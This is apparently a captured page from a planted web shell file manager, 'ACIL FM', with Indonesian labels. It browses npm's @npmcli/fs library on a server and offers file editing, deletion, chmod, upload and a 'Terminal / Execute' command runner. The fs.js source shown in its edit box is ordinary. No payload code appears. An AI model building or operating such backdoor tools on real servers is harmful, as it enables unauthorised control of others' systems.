ACIL FM
Dark
Refresh
Current DIR:
/lib/node_modules/npm/node_modules/@npmcli/fs/lib
/
lib
node_modules
npm
node_modules
@npmcli
fs
lib
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
common
-
chmod
Open
Rename
Delete
cp
-
chmod
Open
Rename
Delete
rm
-
chmod
Open
Rename
Delete
copy-file.js
494 B
chmod
View
DL
Edit
Rename
Delete
errors.js
3.32 MB
chmod
View
DL
Edit
Rename
Delete
fs.js
660 B
chmod
View
DL
Edit
Rename
Delete
index.js
395 B
chmod
View
DL
Edit
Rename
Delete
mkdir.js
435 B
chmod
View
DL
Edit
Rename
Delete
mkdtemp.js
777 B
chmod
View
DL
Edit
Rename
Delete
with-owner-sync.js
463 B
chmod
View
DL
Edit
Rename
Delete
with-owner.js
495 B
chmod
View
DL
Edit
Rename
Delete
with-temp-dir.js
1021 B
chmod
View
DL
Edit
Rename
Delete
write-file.js
395 B
chmod
View
DL
Edit
Rename
Delete
Edit file: /lib/node_modules/npm/node_modules/@npmcli/fs/lib/fs.js
const fs = require('fs') const promisify = require('@gar/promisify') const isLower = (s) => s === s.toLowerCase() && s !== s.toUpperCase() const fsSync = Object.fromEntries(Object.entries(fs).filter(([k, v]) => typeof v === 'function' && (k.endsWith('Sync') || !isLower(k[0])) )) // this module returns the core fs async fns wrapped in a proxy that promisifies // method calls within the getter. we keep it in a separate module so that the // overridden methods have a consistent way to get to promisified fs methods // without creating a circular dependency. the ctors and sync methods are kept untouched module.exports = { ...promisify(fs), ...fsSync }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply